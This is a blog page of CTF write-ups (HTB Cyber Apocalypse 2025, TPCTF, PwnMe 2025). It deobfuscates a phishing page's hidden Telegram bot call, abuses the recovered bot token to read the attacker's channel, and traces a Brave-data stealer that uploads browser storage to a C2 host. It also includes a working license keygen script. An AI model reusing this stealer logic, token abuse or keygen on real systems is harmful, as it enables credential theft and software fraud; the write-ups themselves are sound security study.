clearly an obfuscated code. We can see an eval call in the code. This will run whatever code that is passed to the function. To know what it ran, we can replace eval with console.log to print out the code. We can even beautify the code using this website. Note that this will replace String.fromCharCode(n) with the actual character, even non-printable ones. The beautified code can be seen here. Let\u0026rsquo;s break this down.\nFirst, this code defines some sort of array:\nvar _$_8b18 = function (k, j) { var y = k.length; var o = []; for (var m = 0; m \u0026lt; y; m++) { o[m] = k.charAt(m); } ; for (var m = 0; m \u0026lt; y; m++) { var b = j * (m + 143) + j % 34726; var r = j * (m + 91) + j % 23714; var v = b % y; var s = r % y; var f = o[v]; o[v] = o[s]; o[s] = f; j = (b + r) % 4449625; } ; var a = String.fromCharCode(127); var i = \u0026#34;\u0026#34;; var e = \u0026#34;\\\\x25\u0026#34;; var q = \u0026#34;\\\\x23\\\\x31\u0026#34;; var t = \u0026#34;\\\\x25\u0026#34;; var h = \u0026#34;\\\\x23\\\\x30\u0026#34;; var w = \u0026#34;\\\\x23\u0026#34;; return o.join(i).split(e).join(a).split(q).join(t).split(h).join(w).split(a); }(\u0026#34;shfnemBLlerpitrtgt%ld%DmvuFeceaEaladerletdtdtsputpnielEvae%%iansn%eimkei%guLt%d%i%tsv%ds%eltee%ewssmnnvdsaiyrroeesmlc@Feroieoel%bt%lIota\u0026#34;, 3827531); We can get this value directly from the web terminal:\n\u0026gt; _$_8b18 (15) [\u0026#39;submit\u0026#39;, \u0026#39;preventDefault\u0026#39;, \u0026#39;email\u0026#39;, \u0026#39;getElementById\u0026#39;, \u0026#39;descriptionField\u0026#39;, \u0026#39;value\u0026#39;, \u0026#39;shake\u0026#39;, \u0026#39;add\u0026#39;, \u0026#39;classList\u0026#39;, \u0026#39;remove\u0026#39;, \u0026#39;@\u0026#39;, \u0026#39;split\u0026#39;, \u0026#39;log\u0026#39;, \u0026#39;addEventListener\u0026#39;, \u0026#39;newsletterForm\u0026#39;] With this, we can easily deobfuscate the next part:\ndocument[\u0026#34;getElementById\u0026#34;](\u0026#34;newsletterForm\u0026#34;)[\u0026#34;addEventListener\u0026#34;](\u0026#34;submit\u0026#34;, function (e) { e[\u0026#39;preventDefault\u0026#39;](); const emailField = document[\u0026#34;getElementById\u0026#34;](\u0026#34;email\u0026#34;); const descriptionField = document[\u0026#34;getElementById\u0026#34;](\u0026#39;descriptionField\u0026#39;); let isValid = true; if (!emailField[\u0026#34;value\u0026#34;]) { emailField[\u0026#39;classList\u0026#39;][\u0026#39;add\u0026#39;](\u0026#39;shake\u0026#39;); isValid = false; setTimeout(() =\u0026gt; { return emailField[\u0026#39;classList\u0026#39;][\u0026#39;remove\u0026#39;](\u0026#39;shake\u0026#39;); }, 500); } ; if (!isValid) { return; } ; const emailValue = emailField[\u0026#34;value\u0026#34;]; const specialKey = emailValue[\u0026#39;split\u0026#39;](\u0026#39;@\u0026#39;)[0]; const desc = parseInt(descriptionField[\u0026#34;value\u0026#34;], 10); f(specialKey, desc); }); This code add an event listener for submit, which extract specialKey (the part before @ of the email) and the description desc. Then they are passed to the function f.\nNext, the function G(r) just seems to decode some strings, so we\u0026rsquo;ll ignore this for now. After this is another array _$_5975, which we can also get from the terminal:\n\u0026gt; _$_5975 (31) [\u0026#39;nZiIjaXAVuzO4aBCf5eQ5ifQI7rUBI3qy/5t0Djf0pG+tCL3Y2bKBCFIf3TZ0Q==\u0026#39;, \u0026#39;s3cur3k3y\u0026#39;, \u0026#39;Base64\u0026#39;, \u0026#39;enc\u0026#39;, \u0026#39;toString\u0026#39;, \u0026#39;\u0026#39;, \u0026#39;join\u0026#39;, \u0026#39;SHA256\u0026#39;, \u0026#39;18m0oThLAr5NfLP4hTycCGf0BIu0dG+P/1xvnW6O29g=\u0026#39;, \u0026#39;Utf8\u0026#39;, \u0026#39;parse\u0026#39;, \u0026#39;decrypt\u0026#39;, \u0026#39;RC4Drop\u0026#39;, \u0026#39;https://api.telegram.org\u0026#39;, \u0026#39;fromCharCode\u0026#39;, \u0026#39;onreadystatechange\u0026#39;, \u0026#39;readyState\u0026#39;, \u0026#39;DONE\u0026#39;, \u0026#39;responseText\u0026#39;, \u0026#39;text\u0026#39;, \u0026#39;result\u0026#39;, \u0026#39;log\u0026#39;, \u0026#39;replace\u0026#39;, \u0026#39;location\u0026#39;, \u0026#39;Form submitted!\u0026#39;, \u0026#39;GET\u0026#39;, \u0026#39;forwardMessage?chat_id=\u0026#39;, \u0026#39;\u0026amp;from_chat_id=\u0026#39;, \u0026#39;\u0026amp;message_id=5\u0026#39;, \u0026#39;open\u0026#39;, \u0026#39;send\u0026#39;] Using this, we can deobfuscate the function f:\nfunction f(oferkfer, icd) { const channel_id = -1002496072246; var enc_token = \u0026#39;nZiIjaXAVuzO4aBCf5eQ5ifQI7rUBI3qy/5t0Djf0pG+tCL3Y2bKBCFIf3TZ0Q==\u0026#39;; if (oferkfer === G(\u0026#39;s3cur3k3y\u0026#39;) \u0026amp;\u0026amp; CryptoJS[\u0026#39;SHA256\u0026#39;](sequence[\u0026#39;join\u0026#39;](\u0026#39;\u0026#39;))[\u0026#39;toString\u0026#39;](CryptoJS[\u0026#39;enc\u0026#39;][\u0026#39;Base64\u0026#39;]) === \u0026#39;18m0oThLAr5NfLP4hTycCGf0BIu0dG+P/1xvnW6O29g=\u0026#39;) { var decrypted = CryptoJS[\u0026#39;RC4Drop\u0026#39;][\u0026#39;decrypt\u0026#39;](enc_token, CryptoJS[\u0026#39;enc\u0026#39;][\u0026#39;Utf8\u0026#39;][\u0026#39;parse\u0026#39;](oferkfer), {drop: 192})[\u0026#39;toString\u0026#39;](CryptoJS[\u0026#39;enc\u0026#39;][\u0026#39;Utf8\u0026#39;]); var HOST = \u0026#39;https://api.telegram.org\u0026#39; + String[\u0026#39;fromCharCode\u0026#39;](47) + String[\u0026#39;fromCharCode\u0026#39;](98) + String[\u0026#39;fromCharCode\u0026#39;](111) + String[\u0026#39;fromCharCode\u0026#39;](116) + decrypted; var xhr = new XMLHttpRequest; xhr[\u0026#39;onreadystatechange\u0026#39;] = function () { if (xhr[\u0026#39;readyState\u0026#39;] == XMLHttpRequest[\u0026#39;DONE\u0026#39;]) { const resp = JSON[\u0026#39;parse\u0026#39;](xhr[\u0026#39;responseText\u0026#39;]); try { const link = resp[\u0026#39;result\u0026#39;][\u0026#39;text\u0026#39;]; window[\u0026#39;location\u0026#39;][\u0026#39;replace\u0026#39;](link); } catch (error) { alert(\u0026#39;Form submitted!\u0026#39;); } } }; xhr[\u0026#39;open\u0026#39;](\u0026#39;GET\u0026#39;, HOST + String[\u0026#39;fromCharCode\u0026#39;](47) + \u0026#39;forwardMessage?chat_id=\u0026#39; + icd + \u0026#39;\u0026amp;from_chat_id=\u0026#39; + channel_id + \u0026#39;\u0026amp;message_id=5\u0026#39;); xhr[\u0026#39;send\u0026#39;](null); } else { alert(\u0026#39;Form submitted!\u0026#39;); } } If we look back at the previous parts, we can see the use of f(specialKey, desc). The function f will first check specialKey === G('s3cur3k3y') and check some kind of sequence. sequence is defined after this function, and is storing which box has changed state (checked/unchecked):\nShow code var sequence = []; ; function l() { sequence.push(this.id); } var checkboxes = document[\u0026#34;querySelectorAll\u0026#34;](\u0026#34;input[class=cb]\u0026#34;); for (var i = 0; i \u0026lt; checkboxes[\u0026#34;length\u0026#34;]; i++) { checkboxes[i][\u0026#34;addEventListener\u0026#34;](\u0026#34;change\u0026#34;, l); } The main thing we want to get here is the Telegram API link. To get this, we can simply copy the codes into the terminal:\n\u0026gt; const channel_id = -1002496072246; \u0026gt; var enc_token = \u0026#39;nZiIjaXAVuzO4aBCf5eQ5ifQI7rUBI3qy/5t0Djf0pG+tCL3Y2bKBCFIf3TZ0Q==\u0026#39;; \u0026gt; var decrypted = CryptoJS[\u0026#39;RC4Drop\u0026#39;][\u0026#39;decrypt\u0026#39;](enc_token, CryptoJS[\u0026#39;enc\u0026#39;][\u0026#39;Utf8\u0026#39;][\u0026#39;parse\u0026#39;](oferkfer), {drop: 192})[\u0026#39;toString\u0026#39;](CryptoJS[\u0026#39;enc\u0026#39;][\u0026#39;Utf8\u0026#39;]); \u0026gt; var HOST = \u0026#39;https://api.telegram.org\u0026#39; + String[\u0026#39;fromCharCode\u0026#39;](47) + String[\u0026#39;fromCharCode\u0026#39;](98) + String[\u0026#39;fromCharCode\u0026#39;](111) + String[\u0026#39;fromCharCode\u0026#39;](116) + decrypted; \u0026gt; var icd = 123456 // Sample id \u0026gt; HOST + String[\u0026#39;fromCharCode\u0026#39;](47) + \u0026#39;forwardMessage?chat_id=\u0026#39; + icd + \u0026#39;\u0026amp;from_chat_id=\u0026#39; + channel_id + \u0026#39;\u0026amp;message_id=5\u0026#39; \u0026#39;https://api.telegram.org/bot7767830636:AAF5Fej3DZ44ZZQbMrkn8gf7dQdYb3eNxbc/forwardMessage?chat_id=123456\u0026amp;from_chat_id=-1002496072246\u0026amp;message_id=5\u0026#39; And here\u0026rsquo;s our link: https://api.telegram.org/bot7767830636:AAF5Fej3DZ44ZZQbMrkn8gf7dQdYb3eNxbc/forwardMessage?chat_id=123456\u0026amp;from_chat_id=-1002496072246\u0026amp;message_id=5\nTelegram exloration # Having the bot token 7767830636:AAF5Fej3DZ44ZZQbMrkn8gf7dQdYb3eNxbc and the telegram id -1002496072246, we can forward all messages from the hacker\u0026rsquo;s channel to our chat. First, we need to get the bot information using getme: https://api.telegram.org/bot7767830636:AAF5Fej3DZ44ZZQbMrkn8gf7dQdYb3eNxbc/getme\nWe get the username of the bot: OperationEldoriaBot. Now we can start a chat with the bot by finding this username on Telegram and send /start. Make sure you use a socket account to not leak your id (people might forward spam you lol).\nAfter starting the chat, we\u0026rsquo;ll forward all messages from the hacker\u0026rsquo;s channel to this chat. To do that we need our current chat\u0026rsquo;s chat_id. There are two ways to get this. The first way is to call getUpdates API. The second way is to message @userinfobot. Now we can forward the messages:\nhttps://api.telegram.org/bot7767830636:AAF5Fej3DZ44ZZQbMrkn8gf7dQdYb3eNxbc/forwardMessage?chat_id=67[REDACTED]60\u0026amp;from_chat_id=-1002496072246\u0026amp;message_id=5 Call the API request using all message_id starting from 1 to get all messages (another way to do this is to set message_id to an array like [1,2,3,4,5,6,...], but this doesn\u0026rsquo;t work in this case because some messages are missing.)\nAfter forwarding all messages, we can see that the hacker sent a Brave stealer in a zip file, and a password dr4g0nsh34rtb3l0ngst0m4l4k4r. Without any more info, analyze the malware seems to be the only way. Let\u0026rsquo;s extract this zip file and see what this malware do!\nAlthough HTB malwares are mostly harmless, it\u0026rsquo;s always a good idea to analyze this using a Virtual Machine Malware analysis (attempt) # First, let\u0026rsquo;s check the type of file:\nBrave.exe: PE32+ executable (console) x86-64, for MS Windows, 8 sections Hmmmm, not a .NET file huh. I thought to myself \u0026ldquo;This is a forensics challenge, I shouldn\u0026rsquo;t have to reverse this right?\u0026rdquo; So I analyse this malware using any.run. The analysis only shows that it reads a localdb file from the Brave installation folder. Gaining nothing from this, I guess I must reverse this malware then.\n(My teammate somehow got a better analysis, you can check it here).\n.NET AOT Reversing # One weird thing is when I ran string on the binary, I got some strings like D:\\Brave\\bin\\Release\\net8.0\\win-x64\\native\\Brave.pdb. But file command didn\u0026rsquo;t recognize this as a .NET binary. I tried tools like DNSpy and ILSpy but they cannot read this binary. So what is this? After a conversation with ChatGPT, I found out that is .NET binary is compiled with using Ahead Of Time (AOT) compilation.\nA .NET AOT binary usually contains a .managed and a hydrated sections (like the image below), and a string which looks something like this: 8.0.8+08338fcaa5c9b9a8190abb99222fed12aaba956c\nAs per this post, I need to create a signature file to load the binary in IDA. After a while, I got myself a .sig file. Let\u0026rsquo;s open IDA to analyze this binary.\nTo locate the main function of this binary, I compared the code to the code of the binary used to generate the signature file:\nInside __managed__Main:\nsub_1400D08B0 doesn\u0026rsquo;t contain anything special. All the good stuff is in sub_14006C9D0. Since the code is still kinda hard to understand, and hydrated data is only loaded during runtime, I think that it\u0026rsquo;s time to debug this program! Let\u0026rsquo;s put a breakpoint at sub_14006C9D0 and step in this function.\nI noticed some interesting stuff in this part:\nv1 = sub_140071FC0(28LL, 0LL); return sub_14006BBC0(v1); After running the first line, some libraries are loaded. These libraries seems to be used in sub_14006BBC0, so let\u0026rsquo;s step in this function.\nInside this function, we can see some functions like String__Concat, GetString, \u0026hellip; My approach to this is to debug through each line and see what string each value contains. For example, after this line below, i\u0026rsquo;ll click the variable String and see the string inside:\nString = S_P_CoreLib_System_Text_UTF8Encoding_UTF8EncodingSealed__GetString(v2, v3); The result will be like this image below. We can see there\u0026rsquo;s the pointer to the string buffer, the string length, and the actual string in UTF-16 encoding. In this case, the string is BraveSoftware\\Brave-Browser\\User Data\\\\\nRepeating this for each line, and we can somewhat understand the program flow. Here\u0026rsquo;s the flow:\nThe program checks if the file C:\\Users\\\u0026lt;username\u0026gt;\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\\\Default\\Local Storage\\leveldb exists. If the file doesn\u0026rsquo;t exist, the program exits. Then, the program creates a folder at C:\\Users\\\u0026lt;username\u0026gt;\\AppData\\Local\\Temp\\zgo123. After this, the function sub_7FF70B9CC1E0 will try to connect to zOlsc2S65u.htb. If failed, the program exits. The GOLD is in this function. The variable v12 contains strings that looks like HTTP header. One of them is this:\n{\u0026#34;Accept\u0026#34;:\u0026#34;*/*\u0026#34;,\u0026#34;Content-Type\u0026#34;:\u0026#34;application/json\u0026#34;,\u0026#34;Authorization\u0026#34;:\u0026#34;Bearer Token eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcm9tIjoiY29zdGkiLCJjYW1wYWlnbl9pZCI6Ik9wZXJhdGlvbiBFbGRvcmlhIDogRXhwb3NpbmcgdGhlIGJyYXZlcyIsImF1dGgiOiJVMFpTUTJVd1JsRldSamxxVFVjMWVtTkVSbmxPUjAxNFRUTk9abGxxVG05TlZ6VnJXREpKZW1KcVJtNWliRGx6VFVSQ2NrMVhOVzVZTTAxNFpFUk9lbVpSUFQwPSJ9.HelK5pTs6fenv8TKmAPrV3tzhSZm4GEAnEV9vBBtAzg\u0026#34;,\u0026#34;Connection\u0026#34;:\u0026#34;Close\u0026#34;} Decoding this token, we get this:\n{ \u0026#34;from\u0026#34;: \u0026#34;costi\u0026#34;, \u0026#34;campaign_id\u0026#34;: \u0026#34;Operation Eldoria : Exposing the braves\u0026#34;, \u0026#34;auth\u0026#34;: \u0026#34;U0ZSQ2UwRlFWRjlqTUc1emNERnlOR014TTNOZllqTm9NVzVrWDJJemJqRm5ibDlzTURCck1XNW5YM014ZEROemZRPT0=\u0026#34; } Base64 decode auth twice, we\u0026rsquo;ll get the flag: HTB{APT_c0nsp1r4c13s_b3h1nd_b3n1gn_l00k1ng_s1t3s}\nBonus: The rest of the flow # After checking connection, the program will copy some important Brave file to Temp\\zgo123 and try to send that to the server. The files that are sent are as follows:\nFinally, it will delete the files in zgo123 and exit the program.\nConclusion # This was one hell of a bad trip for me. Overall, I really enjoyed this year\u0026rsquo;s challenges. They are not too hard, and some contains very interesting new knowledges. HackTheBox Cyber Apocalypse has always been one of my favourite CTF, and I can\u0026rsquo;t wait until next year CTF.\n","date":"26 March 2025","externalUrl":null,"permalink":"/posts/htb-ca-2025-writeup/","section":"Posts","summary":"","title":"HTB Cyber Apocalypse 2025 Writeup - Tales for the Brave","type":"posts"},{"content":"","date":"26 March 2025","externalUrl":null,"permalink":"/tags/machine-learning/","section":"Tags","summary":"","title":"Machine Learning","type":"tags"},{"content":"","date":"26 March 2025","externalUrl":null,"permalink":"/tags/reverse-engineering/","section":"Tags","summary":"","title":"Reverse Engineering","type":"tags"},{"content":" Overview # My quick writeup for magicfile challenge from TPCTF 2025.\nMagicfile # We\u0026rsquo;re given a binary file which asks us for a flag. The flag must be 48 characters long.\nIf we type in a random strings like 'a'*48, we will get the output: ASCII text, with no line terminators. So this seems to mimic the file command in Linux. We can look up the source code on Github and compare it with our file.\nThe flag checking seems to be happening in sub_59A0, as it\u0026rsquo;s the only place that uses our input:\n_BYTE *__fastcall sub_59A0( __int64 ms, __int64 input, unsigned __int64 input_len, __int64 input_, __int64 a5, __int64 a6) { if ( !ms ) { return 0LL; } if ( (unsigned int)sub_EBC0(ms, 1, input_len, input_, a5, a6) == 0xFFFFFFFF || (unsigned int)file_buffer(ms, 0xFFFFFFFFLL, 0LL, 0LL, input, input_len) == 0xFFFFFFFF ) { return 0LL; } return file_getbuffer(ms); } This function will compare our input with some defined rules and return the result string. Checking the second function, we can see some strings like [try zmagic %d], [try tar %d], \u0026hellip; Looking this up, it\u0026rsquo;s the function file_buffer. You can find this here.\nThrough debugging, I noticed that if we type in the flag format, it will stop for a while at sub_153B0, which is file_softmagic. This function will check our input using some \u0026ldquo;magic rules\u0026rdquo;. The comparing function is sub_13A70.\nAfter more debugging, the flow seems to be like this:\nIt will iterate through each magic rules by v25 = a2 + 0x178LL * v20;. It will first check that the first letters are TPCTF. If it\u0026rsquo;s correct, it keeps checking, otherwise it will move to other rules (if any). check_flag_magic = magiccheck(v23, a2 + 0x178LL * v20, v29, v30, v31, v32); It will iterate through a sort of list of rules that check each letter. If the rule contains a result string, it will stop and return that string. From the code, it seems like each rule is 0x178 bytes long. So I debugged to find the offset of the rules and dump it out:\nwith open(\u0026#34;magicfile_c970e3503feebf8274571f09d27cdd2f\u0026#34;, \u0026#39;rb\u0026#39;) as f: sus = f.read()[0x212F4:] for i in range(0, len(sus), 0xbc*2): print(sus[i:i+0xbc*2]) So what is the output when we input the right flag? By stringging the binary file, we can find that it\u0026rsquo;s Congratulations! You got the flag. Looking for this in our dump, it\u0026rsquo;s this rule:\nb\u0026#39;+\\x00\\x00\\x00=\\x00\\x01\\x00\\x00\\x00\\x00\\x00/\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xd4+\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00}\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00Congratulations! You got the flag.\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\u0026#39; Notice the } character there. Looking above this, we can see the flag:\n","date":"18 March 2025","externalUrl":null,"permalink":"/posts/tpctf-2025-writeup/","section":"Posts","summary":"","title":"TPCTF 2025 Writeup - magicfile","type":"posts"},{"content":" Overview # Here are some of the challenges that I solved during PwnMe CTF 2025:\nRev # Back to the past # Using the provided binary and the encrypted file, find a way to retrieve the flag contained in \u0026ldquo;flag.enc\u0026rdquo;. Note that the binary would have been run in May 2024. Note: The flag is in the format PWNME{\u0026hellip;}\nAuthor : Fayred\nFlag format: PWNME{.........................}\nWe are given a binary executable that encrypts the flag file.\neenosse@ITDOLOZI:~/pwnmeCTF_2025/rev_Back_to_the_past$ ./backToThePast Usage: ./backToThePast \u0026lt;filename\u0026gt; eenosse@ITDOLOZI:~/pwnmeCTF_2025/rev_Back_to_the_past$ echo 1234 \u0026gt; test eenosse@ITDOLOZI:~/pwnmeCTF_2025/rev_Back_to_the_past$ ./backToThePast test time : 1740925301 Running the binary, we see that it prints out the current timestamp. So it might use the timestamp for encryption. Let\u0026rsquo;s check that in IDA:\nClick to expand int __fastcall main(int argc, const char **argv, const char **envp) { char v3; // cl int v5; // edx char v6; // cl int v7; // edx char v8; // cl int v9; // eax char v10; // cl int v11; // [rsp+1Ch] [rbp-124h] unsigned int v12; // [rsp+20h] [rbp-120h] __int64 v13; // [rsp+28h] [rbp-118h] char v14[264]; // [rsp+30h] [rbp-110h] BYREF unsigned __int64 v15; // [rsp+138h] [rbp-8h] v15 = __readfsqword(0x28u); if ( argc \u0026gt; 1 ) { v12 = time(0LL, argv, envp); printf((unsigned int)\u0026#34;time : %ld\\n\u0026#34;, v12, v5, v6); srand(v12); v13 = fopen64(argv[1], \u0026#34;rb+\u0026#34;); if ( v13 ) { while ( 1 ) { v11 = getc(v13); if ( v11 == 0xFFFFFFFF ) { break; } fseek(v13, 0xFFFFFFFFFFFFFFFFLL, 1LL); v9 = rand(); fputc(v11 ^ (unsigned int)(v9 % 0x7F), v13); } fclose(v13); strcpy(v14, argv[1]); strcat(v14, \u0026#34;.enc\u0026#34;); if ( (unsigned int)rename(argv[1], v14) ) { printf( (unsigned int)\u0026#34;Can\u0026#39;t rename %s filename to %s.enc\u0026#34;, (unsigned int)argv[1], (unsigned int)argv[1], v10); return 1; } else { return 0; } } else { printf((unsigned int)\u0026#34;Can\u0026#39;t open file %s\\n\u0026#34;, (unsigned int)argv[1], v7, v8); return 1; } } else { printf((unsigned int)\u0026#34;Usage: %s \u0026lt;filename\u0026gt;\\n\u0026#34;, (unsigned int)*argv, (_DWORD)envp, v3); return 1; } } Indeed, it uses the timestamp to set seed, then XOR our file with random numbers and write it to a .enc file.\nThings should be easy enough. However, when I tried to write a solve script using libc\u0026rsquo;s random, it didn\u0026rsquo;t give the right result. After debugging, I noticed that the random numbers of the program were different from mine. So something has been changed 🤔.\nIt turns out the srand and rand functions are not the standard libc functions, but rather custom functions:\n__int64 __fastcall srand(int a1) { __int64 result; // rax result = (unsigned int)(a1 - 1); seed = result; return result; } unsigned __int64 rand() { seed = 0x5851F42D4C957F2DLL * seed + 1; return (unsigned __int64)seed \u0026gt;\u0026gt; 0x21; } The srand function actually sets the seed to be equal to a1 - 1. I\u0026rsquo;m not sure if rand is different from the standard one, but we\u0026rsquo;ll not care about that.\nFrom this, I wrote a quick script to solve the challenge. Given that the challenge\u0026rsquo;s description said the binary would have been run in May 2024, I bruteforced the timestamp from May to June:\ndata = open(\u0026#34;flag.enc\u0026#34;, \u0026#39;rb\u0026#39;).read() seed = 1740845724 def srand(s): global seed seed = s - 1 def rand(): global seed seed = (0x5851F42D4C957F2D * seed + 1) \u0026amp; 0xffffffffffffffff return seed \u0026gt;\u0026gt; 0x21 for t in range(1714521600, 1717200000): srand(t) msg = [] for c in data: rand_num = rand() msg.append(c ^ (rand_num % 0x7f)) msg = bytes(msg) if b\u0026#34;PWNME\u0026#34; in msg: print(msg) Running this will give us the flag: PWNME{4baf3723f62a15f22e86d57130bc40c3}\nC4 License # Using the license of \u0026lsquo;Noa\u0026rsquo; and the provided binary, develop a keygen to create a valid license for the 100 requested users.\nAuthor : Fayred\nFlag format: PWNME{.........................}\nConnect : nc --ssl [Host] 443\nWe are given two files: A binary executable and a sample license for a user named Noa.\nRunning the binary will show us a form. Typing in an invalid license, we\u0026rsquo;ll get Invalid license key. If we use the sample license, we\u0026rsquo;ll get Congratulation, your license key is valid !\nThere are a lot of functions, so it might be a good idea to look for the string Invalid license key in the file.\nTo find a string in IDA, we can use Ctrl+F for IDA 9.0, or Alt+T for older versions. We can see that it\u0026rsquo;s used in the function C4License::on_checkKey_clicked. This function will base64 decrypt our license and get user and serial from the decrypted JSON string. These will be passed to the checker function, which checks the values as follows:\nFirst, it uses the crc32 checksum of user (which is a1) to set the seed through srand. Then, it generates two random numbers to make the key v26, which is used as the key for RC4 decryption: v3 = *((unsigned int *)a1 + 2); v4 = *a1; v27 = __readfsqword(0x28u); v5 = crc32(0LL, v4, v3); srand(v5); v6 = rand(); *(_DWORD *)v26 = _byteswap_ulong(rand() % 0xFFFF * (v6 % 0xFFFF)); RC4::RC4((RC4 *)v25, v26); After that, it will hex decode the serial (a2) and RC4 decrypt it using the key above. The result will be stored in v22 RC4::RC4((RC4 *)v25, v26); QByteArray::fromHex((QByteArray *)\u0026amp;v24, a2); RC4::decrypt(\u0026amp;v22, v25, \u0026amp;v24); Finally, it will compare the SHA1 checksum of v22 and compare it with b039d6daea04c40874f80459bff40142bd25b995. The hash is not crackable, but through debugging using the sample license, we see that v22 is PwNmE_c4_message!137.\nFrom this, we can write a script that takes 100 username from the server and generate the licenses:\nShow solve script from base64 import b64encode, b64decode from Crypto.Cipher import ARC4 from ctypes import CDLL from zlib import crc32 from pwn import * import time libc = CDLL(\u0026#34;libc.so.6\u0026#34;) def gen_license(username): username = username.encode() seed = crc32(username) print(hex(seed)) libc.srand(seed) n1 = libc.rand() n2 = libc.rand() n = (n1 % 0xffff) * (n2 % 0xffff) print(hex(n)) rc4_key = bytes.fromhex(hex(n).replace(\u0026#34;0x\u0026#34;, \u0026#39;\u0026#39;).zfill(8)) print(\u0026#34;key:\u0026#34; , rc4_key.hex()) rc4 = ARC4.new(rc4_key) enc = rc4.encrypt(b\u0026#34;PwNmE_c4_message!137\u0026#34;) password = enc.hex() license = f\u0026#39;{{\u0026#34;user\u0026#34;:\u0026#34;{username.decode()}\u0026#34;,\u0026#34;serial\u0026#34;:\u0026#34;{password}\u0026#34;}}\u0026#39; print(license) return b64encode(license.encode()).decode() # print(gen_license(\u0026#34;Noa\u0026#34;).decode()) p = remote(\u0026#34;c4license-90c9d36428b43675.deploy.phreaks.fr\u0026#34;, 443, ssl=True) # context.log_level = \u0026#39;debug\u0026#39; for i in range(100): msg = p.recvuntil(b\u0026#34;user :\u0026#34;).decode() print(msg) username = msg.split(\u0026#34;Your license for \u0026#34;)[1].split(\u0026#34; user\u0026#34;)[0].strip() print(username) license = gen_license(username) p.sendline(license.encode()) time.sleep(0.5) p.interactive() Mimirev # A new and obscure programming language, MimiLang, has surfaced. It runs on a peculiar interpreter, but something about it feels… off. Dive into its inner workings and figure out what\u0026rsquo;s really going on. Maybe you\u0026rsquo;ll uncover something unexpected.\nAuthor : Lxt3h\nFlag format: PWNME{.........................}\nWe are given a binary executable which runs the code in a .mimi file. Let\u0026rsquo;s look in IDA!\nIt seems like it\u0026rsquo;s a Golang binary. When analysing a non-stripped Golang or Rust file, the first thing that I do is looking for interesting function names:\nWell look at that, there is a github_com_Lexterl33t_mimicompiler_vm_decryptFlag function. And it\u0026rsquo;s used by github_com_Lexterl33t_mimicompiler_vm__ptr_VM_VerifyProof.\nAnalysing the function, we see that the function does the following:\nIt pops two values x and y from the stack and checks some constraints: x + y == 314159 (x * x + y * y * y - x * y) % 1048573 == 273262 If x and y satisfy the constraints, they will be formatted as %d:%d. Then the function takes the SHA256 sum of this to decrypt the flag using github_com_Lexterl33t_mimicompiler_vm_decryptFlag: v30 = runtime_convT64(x, v24, v25, 1, 1, v26, v27, v28, v29, v69); *(_QWORD *)\u0026amp;v93 = \u0026#34;\\b\u0026#34;; *((_QWORD *)\u0026amp;v93 + 1) = v30; v36 = runtime_convT64(y, v24, v31, 1, 1, v32, v33, v34, v35, v70); *(_QWORD *)\u0026amp;v94 = \u0026#34;\\b\u0026#34;; *((_QWORD *)\u0026amp;v94 + 1) = v36; v41 = fmt_Sprintf((unsigned int)\u0026#34;%d:%d\u0026#34;, 5, (unsigned int)\u0026amp;v93, 2, 2, v37, v38, v39, v40, v71, v76, v79, v84); v46 = runtime_stringtoslicebyte((unsigned int)\u0026amp;v87, v41, 5, 2, 2, v42, v43, v44, v45, v72, v77, v80); crypto_sha256_Sum256(v46, v41, v47, 2, 2, v48, v49, v50, v51, v73, v81, v85); v86[0] = v74; v86[1] = v82; v52 = a1[8]; v56 = github_com_Lexterl33t_mimicompiler_vm_decryptFlag( (__int64)a1[7], (signed __int64)v52, (__int64)a1[9], (__int64)v86, 16LL, 32, v53, v54, v55); I will not try to explain github_com_Lexterl33t_mimicompiler_vm_decryptFlag fully, but it seems like the SHA256 checksum is used as the key for AES decryption (the first 16 bytes). So what is being decrypted here?\nWe haven\u0026rsquo;t even looked at the main function yet. In the main function, there is a part where it creates a new VM:\nv170 = github_com_Lexterl33t_mimicompiler_vm_NewVM( v79, (_DWORD)v52, v80, (unsigned 